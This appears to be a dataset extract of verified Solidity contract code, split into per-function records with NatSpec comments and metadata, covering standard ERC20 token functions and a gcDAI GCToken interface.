contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 1267, 1422 ] }
14,763
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amou...
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 1889, 2194 ] }
14,764
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 2598, 2809 ] }
14,765
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 3307, 3569 ] }
14,766
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exc...
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. *...
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 4054, 4530 ] }
14,767
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 4806, 5119 ] }
14,768
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amo...
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 5446, 5799 ] }
14,769
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero...
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 6234, 6577 ] }
14,770
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
_burnFrom
function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount, "ERC20: burn amount exceeds allowance")); }
/** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 6758, 6991 ] }
14,771
gcDAI
contracts/GCToken.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
GCToken
interface GCToken is GToken { // pure functions function calcCostFromUnderlyingCost(uint256 _underlyingCost, uint256 _exchangeRate) external pure returns (uint256 _cost); function calcUnderlyingCostFromCost(uint256 _cost, uint256 _exchangeRate) external pure returns (uint256 _underlyingCost); function calcDepo...
/** * @dev Complete top-level interface for gcTokens, implemented by the * GCTokenBase contract. See GCTokenBase.sol for further documentation. */
NatSpecMultiLine
calcCostFromUnderlyingCost
function calcCostFromUnderlyingCost(uint256 _underlyingCost, uint256 _exchangeRate) external pure returns (uint256 _cost);
// pure functions
LineComment
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 52, 176 ] }
14,772
gcDAI
contracts/GCToken.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
GCToken
interface GCToken is GToken { // pure functions function calcCostFromUnderlyingCost(uint256 _underlyingCost, uint256 _exchangeRate) external pure returns (uint256 _cost); function calcUnderlyingCostFromCost(uint256 _cost, uint256 _exchangeRate) external pure returns (uint256 _underlyingCost); function calcDepo...
/** * @dev Complete top-level interface for gcTokens, implemented by the * GCTokenBase contract. See GCTokenBase.sol for further documentation. */
NatSpecMultiLine
miningToken
function miningToken() external view returns (address _miningToken);
// view functions
LineComment
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 1240, 1310 ] }
14,773
gcDAI
contracts/GCToken.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
GCToken
interface GCToken is GToken { // pure functions function calcCostFromUnderlyingCost(uint256 _underlyingCost, uint256 _exchangeRate) external pure returns (uint256 _cost); function calcUnderlyingCostFromCost(uint256 _cost, uint256 _exchangeRate) external pure returns (uint256 _underlyingCost); function calcDepo...
/** * @dev Complete top-level interface for gcTokens, implemented by the * GCTokenBase contract. See GCTokenBase.sol for further documentation. */
NatSpecMultiLine
depositUnderlying
function depositUnderlying(uint256 _underlyingCost) external;
// open functions
LineComment
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 2265, 2328 ] }
14,774
gcDAI
contracts/GCToken.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
GCToken
interface GCToken is GToken { // pure functions function calcCostFromUnderlyingCost(uint256 _underlyingCost, uint256 _exchangeRate) external pure returns (uint256 _cost); function calcUnderlyingCostFromCost(uint256 _cost, uint256 _exchangeRate) external pure returns (uint256 _underlyingCost); function calcDepo...
/** * @dev Complete top-level interface for gcTokens, implemented by the * GCTokenBase contract. See GCTokenBase.sol for further documentation. */
NatSpecMultiLine
setExchange
function setExchange(address _exchange) external;
// priviledged functions
LineComment
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 2420, 2471 ] }
14,775
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
name
function name() public view returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 902, 990 ] }
14,776
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
symbol
function symbol() public view returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 1104, 1196 ] }
14,777
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decimals
function decimals() public view returns (uint8) { return _decimals; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 1829, 1917 ] }
14,778
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 1977, 2082 ] }
14,779
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 2140, 2264 ] }
14,780
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 2472, 2652 ] }
14,781
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 2710, 2866 ] }
14,782
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 3008, 3182 ] }
14,783
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amou...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 3651, 3977 ] }
14,784
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 4381, 4604 ] }
14,785
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 5102, 5376 ] }
14,786
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sen...
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. *...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 5861, 6405 ] }
14,787
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfe...
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 6681, 7064 ] }
14,788
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _to...
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 7391, 7814 ] }
14,789
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amoun...
/** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero a...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 8247, 8598 ] }
14,790
gcDAI
@openzeppelin/contracts/token/ERC20/ERC20.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
ERC20
